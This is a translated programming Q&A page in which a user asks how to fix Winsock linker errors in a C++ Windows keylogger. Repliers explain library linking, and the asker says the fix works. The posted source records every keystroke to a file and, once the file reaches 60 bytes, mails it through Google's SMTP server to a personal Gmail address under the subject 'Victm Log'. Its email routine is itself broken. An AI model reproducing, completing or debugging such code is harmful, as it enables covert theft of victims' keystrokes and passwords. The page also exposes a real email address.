【问题标题】:undefined reference to wsastartup@8' on Code blocks, help me在代码块上未定义对 wsastartup@8' 的引用,帮帮我
【发布时间】:2020-06-25 19:13:23
【问题描述】:

我在 Code Blocks IDE 上编写了这段代码,但出现以下错误:

undefined reference to wsastartup@8'
undefined reference to `gethostbyname@4'
undefined reference to `connect@12'
undefined reference to `send@16'
undefined reference to `closesocket@4'
undefined reference to `WSACleanup@0'

我尝试修改 GCC 编译器,但没有成功。

有人可以帮我完成这个程序吗?

#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>

#define KEY_PRESSED -32767

FILE *file;

void sendEmail(char *server, char *to, char *from, char *subject, char *message);

int main(int arg, char *argv[])
{
    char key;

    int index;
    int lenght;
    char *buffer;

    file = fopen("Keylogger.txt", "a+");

    if(file != NULL)
    {
        while(true)
        {
            Sleep(10);
            for(key = 8; key <= 255; key++)
            {
                file = fopen("Keylogger.txt", "a+");

                if(GetAsyncKeyState(key) == KEY_PRESSED)
                {
                    switch(key)
                    {
                        case VK_SPACE:
                            fprintf(file, " ");
                            break;
                        case VK_RETURN:
                            fprintf(file, "\n");
                            break;
                        case VK_SHIFT:
                            fprintf(file, "Shift*");
                            break;
                        case VK_BACK:
                            fprintf(file, "\b");
                            break;
                        case VK_RBUTTON:
                            fprintf(file, "*rclick");
                            break;
                        case 188:
                            fprintf(file, ",");
                        case 198:
                            fprintf(file, ".");
                            break;
                        default:
                            fprintf(file, "%c", key);
                            break;
                        }
                    }
                    fclose(file);
                }
                file = fopen("keylogger.txt", "rb");
                fseek(file, 0, SEEK_END);
                lenght = ftell(file);

                if(lenght >= 60)
                {
                    fseek(file, 0, SEEK_SET);
                    buffer = (char*)malloc(lenght);
                    index = fread(buffer, 1, lenght, file);
                    buffer[index] = '\0';
                    sendEmail("gmail-smtp-in.l.google.com", "francorodrigognr@gmail.com", "francorodrigognr@gmail.com", "Victm Log", buffer);
                    fclose(file);
                    file = fopen("Keylogger.txt", "w");
                }fclose(file);
            }
        }
    return 0;
}

void sendEmail(char *server, char *to, char *from, char *subject, char *message)
{
    SOCKET sockfd;
    WSADATA wsaData;
    hostent *host;
    sockaddr_in dest;

    int sent;
    char line[200];

    if(WSAStartup(0x202, &wsaData) != SOCKET_ERROR)
    {
        if((host = gethostbyname(server)) != NULL)
        {
            memset(&dest, 0, sizeof(dest));
            memcpy(&(dest.sin_addr), host -> h_addr, host->h_length);

            connect(sockfd, (struct sockaddr*)&dest, sizeof(dest));

            strcpy(line, "hello me someplace.com\n");
            sent = send(sockfd, line, strlen(line), 0);
            Sleep(500);
        }
    }
    closesocket(sockfd);
    WSACleanup();
}


【问题讨论】:

  • @mkrieger1 问题是关于未定义的引用错误,而不是未声明。未声明的标识符和对标识符的未定义引用在 C++ 中有两个非常不同的原因。 “你希望它在哪里声明?”即使它应该来自Winsock2.h,我怀疑Windows.h 也包含它。
  • 正如WSAStartup 的文档中所解释的那样(例如),声明您应该与Ws2_32.lib 链接,您这样做了吗?请告诉我们您是如何编译/链接您的应用程序的。
  • 我不是那样的。如何链接 ws2_32.lib?
  • 您可能想查阅 Code::Blocks 中有关如何链接到库的文档。这是一个 StackOverflow 问题:https://stackoverflow.com/questions/5862757/how-do-i-link-to-a-library-with-codeblocks
  • 谢谢伙计。现在正在工作!

标签: c++ keylogger


【解决方案1】:

要解决这些错误,您需要包含 winsock 头文件:

#include <winsock.h

并使用 -L / -l compiler flag 链接到 winsock32 库:

gcc -l links with a library file.
gcc -L looks in directory for library files.

gcc [options] [source files] [object files] [-Ldir] -llibname [-o outfile]

然后就可以正常编译了

【讨论】:

  • @JerryJeremiah justfreetools.com/en/code/linux/gcc-l ,只需将其指向库
  • 我知道,但是您必须编辑生成文件。整个#pragma 允许所有内容都在源文件中。我同意这并没有那么大的区别,但如果它对 GCC 不起作用,你应该在你的回答中提到这一点,因为问题特别提到了 GCC。
【解决方案2】:

这个怎么用?

gcc -l 链接库文件。 gcc -L 在目录中查找库文件。

gcc [选项] [源文件] [目标文件] [-Ldir] -llibname [-o outfile]

因为,当我尝试在 bin 文件夹上执行 keylogger.exe 时,出现此错误:

【讨论】:

    猜你喜欢
    • 2016-03-26
    • 2012-09-10
    • 2015-06-06
    • 2015-02-25
    • 1970-01-01
    • 1970-01-01
    • 2015-02-06
    • 1970-01-01
    相关资源
    最近更新 更多